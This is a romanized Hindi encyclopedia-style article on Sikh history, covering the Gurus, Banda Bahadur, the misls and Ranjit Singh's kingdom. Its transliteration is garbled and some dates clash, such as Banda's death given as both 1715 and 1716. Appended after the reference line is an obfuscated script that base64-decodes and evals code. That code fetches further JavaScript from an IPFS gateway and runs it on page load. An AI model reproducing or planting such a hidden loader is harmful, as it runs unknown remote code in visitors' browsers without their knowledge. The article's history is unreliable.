सिक्ख

thumb|250px|sikkh dharm ka pratik sikkh logoan ko guru nanak (1469-1539 ee.) ke anuyayiyoan ke roop mean jana jata hai. mukhy roop se panjab hi unaka nivas sthan hai. prarambh mean ve shantipriy the aur unamean paraspar jati-paanti ka koee bhedabhav nahian tha, halaanki unamean se adhikaansh hindoo se sikkh bane the. ye sabhi dharmoan mean nihit adharabhoot saty mean vishvas karate haian aur unaka drishtikon dharmik athava sampradayik pakshapat se rahit aur udar hai. 1539 ee. mean guru nanak ki mrityu ke uparant sikkhoan ka mukhiya 'guru' kahalane laga. sikkhoan ne bharat mean samay-samay par yahaan ke itihas mean apana bahumooly yogadan diya hai. mugal kal mean kitane hi sikkh rajaoan ne apane putroan ko desh ki khatir balidan kar diya. aurangazeb ne to sikkhoan ke prati kathor drishtikon apanaya. banda bahadur aj bhi bharatiy itihas mean apani shahadat ke lie yad kiya jata hai.

itihas

15vian shatabdi mean sikkh dharm 'guru nanakadev' ke dvara chalaya gaya. sikkh jati ko ek l dakoo jati ke roop mean parivartit karane ka mahattvapooran kary guru har govind sianh ne kiya. sikkhoan ke dasavean guru govind sianh ke netritv mean sikkh ek rajanitik evan fauji shakti banakar ubhare. guru govind sianh ki mrityu ke bad 'guru' ki parampara samapt ho gee. unake shishy banda sianh, jise 'banda bahadur' ke nam se bhi jana jata hai, usane apane guru ki mrityu ke bad sikkhoan ka netritv sanbhala. usake shishy use 'sachcha padashah' kahakar sambodhit karate the. 1715 ee. mean banda sianh ko pak dakar usaki hatya kar di gee. 1748 ee. mean navab 'karpoor sianh' ne sikkhoan ke alag-alag dal ko 'khalasa dal' mean shamil kiya, jisaka netritv 'jassa sianh' ne kiya. sikkhoan ka vibhajan 12 misaloan mean hua tha. 1760 ee. tak sikkhoan ka panjab par poorn adhikar ho gaya tha. sikkhoan ne 1763 se 1773 ee. ke bich sikkh shakti ka vistar poorv mean saharanapur, pashchim mean atak, dakshin mean multan aur uttar mean jammoo-kashmir tak kar liya.

sikkhoan ke das guru

guru ka nam	samayakal
guru nanakadev	1469-1539
guru aangad	1539-1552 ee.
guru amaradas	1552-1574 ee.
guru ramadas	1574-1581 ee.
guru arjun	1581-1606 ee.
guru haragoviand sianh	1606-1645 ee.
guru hararay	1645-1661 ee.
guru harakishan	1661-1664 ee.
guru teg bahadur sianh	1664-1675 ee.
guru govind sianh	1675-1708 ee.

guru arjun ka vadh

chauthe guru ramadas atyant sadhu prakriti ke vyakti the, isalie badashah akabar bhi unaka adar karata tha. usane amritasar mean ek jalashay se yukt bhoo-bhag unhean dan diya, jis par age chalakar sikkh svarnamandir ka nirman hua. paanchavean guru arjun ne sikkhoan ke adi granth namak dharm granth ka sankalan kiya, jisamean unake poorv ke charoan guruoan tatha kuchh hindoo aur musalaman santoan ki vani sankalit hai. unhoanne khalasa panth ki arthik sthiti ko dridhata pradan karane ke lie pratyek sikkh se dharmik chanda vasool karane ki pratha chalaee. badashah jahaangir ke adesh par guru arjun ka is karan vadh kar diya gaya ki unhoanne daya ke vashibhoot hokar badashah ke vidrohi putr shahazada khusaro ko sharan di thi.

aurangazeb ka krodh

guru arjun ke putr guru haragoviand sianh ne sikkhoan ka sainik sangathan kiya, ek chhoti-si sikkhoan ki sena ekatr ki. unhoanne shahajahaan ke viruddh vidroh karake ek yuddh mean shahi sena ko parast bhi kar diya. kintu ant mean unhoanne bhagakar kashmir ke parvatiy pradesh mean sharan li. vahian par unaki mrityu ho gee. agale donoan guru, guru hararay aur guru harakishan ke kal mean koee ghatana nahian ghati. unhoanne guru arjun dvara prachalit dharmik chande ki pratha evan unake putr haragovind ki sainik-sangathan ki niti ka anusaran karake khalasa panth ko aur bhi shaktishali banaya. navean guru teg bahadur sianh ko aurangazeb ka kop-bhajan banana p da. usane guru ko bandi banakar usake sammukh prastav rakha ki ya to islam dharm svikar karo athava pran dene ke lie taiyar ho jao. bad mean unaka sir utar liya gaya. unaki shahadat ka samast sikkh sampraday, unake putr tatha agale guru govind sianh par gambhir prabhav p da.

sikkhoan ka sangathan

guru govind sianh ne bhali-bhaanti vichar karake shantipriy sikkh sampraday ko sainik sangathan ka roop diya, jo dridhatapoorvak musalamanoan ke atikraman tatha atyacharoan ka samana kar sake. sath hi unhoanne sikkhoan mean aisi anushasan ki bhavana bhari ki ve l dakoo shakti ban ge. unhoanne apane panth ka nam khalasa (pavitr) rakha. sath hi samast sikkh samuday ko ekata ke sootr mean abaddh karane ke vichar se sikkhoan ko kesh, kachchh, k da, kripan aur kangha– ye paanch vastuean avashyak roop se dharan karane ka adesh diya. unhoanne sthaniy mugal hakimoan se kee yuddh kie, jinamean unake do balak putr mare ge, kintu ve hatotsahit n hue. mrityu paryant ve sikkhoan ka sangathan karate rahe. 1708 ee. mean ek afagan ne unaki hatya kar di.

vir banda

sikkhoan ke misal aur unake sansthapak

misal ka nam	misal ke sansthapak
sianhapuriya misal	kapoor sianh
ahaloovaliya misal	jassa sianh ahaloovaliya
ramagadhiya misal	jassa sianh ramagadhiya
kanahiya misal	jay sianh
phulakiya misal	phool sianh
bhaangi misal	hari sianh
sukarachakiya misal	charat sianh
nishanavaliya misal	saradar sangat sianh
karo d siandhiya misal	bhagel sianh
ullevaliya misal	gulab sianh
nakaee misal	hira sianh
shahidi misal	baba dip sianh

age chalakar guru govind sianh ki rachanaean bhi sankalit hueean aur yah sankalan guru granth sahab ka parishisht bana. samast sikkh samuday unaka itana adar karata tha ki unaki mrityu ke uparant guru pad hi samapt kar diya gaya. yadyapi unake uparant hi banda vir ne sikkhoan ka netritv bhar sambhal liya. vir banda ke netritv mean 1708 ee. se lekar 1716 ee. tak sikkh nirantar mugaloan se loha lete rahe, par 1716 ee. mean banda bandi banaya gaya aur badashah farrukhasiyar ki ajna se hathiyoan se rauandavakar usaki hatya karava di gee. saik doan sikkhoan ko ghor yatanaean di geean. phir bhi in atyacharoan se khalasa panth ki sainik shakti ko kisi bhi prakar se dabaya nahian ja saka. guru ke abhav mean, vyaktigat netritv ke sthan par, sangathan ka bhar kee vyaktiyoan ke ek samooh par a p da, jinhoanne apani kshamata aur yogyata ke anusar apane sahadharmiyoan ka sangathan kiya.

shakti vistar

fejullapur ke kapoor sianh ne khalasa dal athava sikkh rajy ki nianv dali. any sikkh saradaroan ne nadirashah ke akraman ke uparant panjab mean phaili huee avyavastha ka labh uthakar sikkhoan ka sangathan kiya aur ravi nadi ke tat par dalival mean ek durg ka nirman karaya tatha lahaur tak dhave marane shuroo kar die. ahamadashah abdali ke bar-bar ke akramanoan aur visheshakar 1768 ee. ke panipat ke tritiy yuddh ne panjab mean sikkhoan ki shakti badhane mean vishesh yog diya, kyoanki unake prayas se panjab mean mugal shasan samapt pray ho gaya tha tatha sikkhoan mean navin asha evan sahas ka sanchar ho raha tha. ve abdali ka pichha karate rahe aur chhapamar yuddh ki niti apanakar panjab mean usaki sthiti ko visham bana diya. aantat: 1767 ee. mean usake bharat se afaganistan laut jane par sikkhoan ne apani virata tatha adhyavasay se panjab ke samast maidani bhag ko apane niyantran mean le liya.

svatantr rajy ki sthapana

1773 ee. tak unaka adhikar kshetr poorv mean saharanapur se pashchim mean atak tak tatha uttar mean paha di bhag se lekar dakshin mean multan tak vistrit ho gaya. is prakar sikkh apane lie ek svatantr rajy ki sthapana karane mean saphal hue, kintu unamean ek shasakiy eekaee ka abhav tha. ve barah misaloan (tuk diyoan) mean vibhakt the, jinake nam kramash: is prakar the- 1-sianhapuriya misal, 2-ahaloovaliya misal, 3-ramagadhiya misal, 4-kanahiya misal, 5-phulakiya misal, 6-bhaangi misal, 7-sukarachakiya misal, 8-nishanavaliya misal, 9-karo d siandhiya misal, 10-ullevaliya misal, 11-nakaee misal aur 12-shahidi misal. ahamadashah abdali aur aur mugaloan ki satta ke patan ke uparant sikkh kisi bhi bahy shakti ke bhay se rahit hokar paraspar sangharsharat ho ge. phalasvaroop uparyukt barah misaloan ke chhinn-bhinn hone ki sthiti utpann ho gee. kintu sukarachakiya misal ke nayak ranajit sianh ne apani yogyata aur buddhimatta se is ashanka ko door kar diya.

ranajit sianh ka netritv

ranajit sianh ka janm 1780 ee. mean hua tha aur 1799 ee. mean unhoanne afaganistan ke shasak jamanashah se lahaur ke prantiy shasak ka pad prapt kar liya, jisase panjab ke musalamanoan ko unake age jhukana p da. agale chh: varshoan mean unhoanne sataluj nadi ko par karake sabhi misaloan par apana adhipaty sthapit kar liya. sataluj ke is par athava poorvi kshetr ki misaloan par adhikar jamane mean vah is karan asaphal rahe ki bharat mean sthit aangrez sarakar in misaloan ke saradaroan ko unaka virodh karane ke lie sahayata de rahi thi. phir bhi ranajit sianh ne 1839 ee. mean apani mrityu ke poorv sikkhoan ko sangathit shakti mean parivartit kar diya, jinake svatantr rajy ki simaean sataluj se peshavar tak aur kashmir se multan tak vistrit thian. isaki raksha ke lie yooropiy dhang se prashikshit tatha shaktishali topakhane se sajjit vipul sainyabal bhi tha. kintu durbhagyavash ranajit sianh ka koee suyogy tatha vayask putr nahian tha, jo sikkhoan ka netritv kar unake adhoore karyoan ko age badha sakata. phalasvaroop unake uttaradhikari ke roop mean kee nirbal aur kathaputali shasak hue aur kuchakri rajanitijnoan tatha mahattvakaankshi senapatiyoan ke shadyantr ke karan 1845 se 1849 ee. ke char varshoan ke alpakal mean hi sikkhoan ko (sikkh yuddh) pratham tatha dvitiy yuddhoan mean phansana p da, jisase us svatantr sikkh rajy ka nash ho gaya, jisaka nirman dirghakalin balidanoan ke adhar par hua tha.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

bhattachary, sachchidanand bharatiy itihas kosh, dvitiy sanskaran-1989 (hindi), bharat diskavari pustakalay: uttar pradesh hindi sansthan, 472.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>